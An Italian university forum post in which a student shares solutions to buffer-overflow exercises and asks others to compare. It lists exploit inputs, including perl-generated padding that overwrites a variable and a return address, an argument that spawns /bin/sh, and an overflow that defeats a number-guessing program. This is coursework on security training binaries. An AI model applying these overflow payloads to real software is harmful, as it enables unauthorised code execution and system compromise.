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edima
walkingman

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Registered: May 2003
Posts: 129 (0.02 al dì)
Location: Milano
Corso: Diploma universitario di informatica
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Esercizi su Buffer Overflow

Io ho trovato queste soluzioni per gli esercizi. Solo che anche se ho trovato le soluzioni alcune cose non mi sono del tutto chiare.

Qualcuno vuole confrontare i risultati con me?

-------------------
ex0
./ex0 alskdjffgadcba
./ex0 `perl -e 'print "pppppppppp\x64\x63\x62\x61"'`

-------------------
ex1
./ex1 asdfghjklpoiuytrewqf/bin/sh

-------------------
ex2
./ex2 `perl -e 'print "aaaaaaaaaaaaaaaaaaaaaaaa\x14\x84\x04\x08"'`

-------------------
guess.c
* inserisci un numero tra 0 e 9999 -> 97aaaaaaaaa
# numero inserito: 97;
# numero generato: 97;
Hai vinto!!!

13-01-2009 23:32
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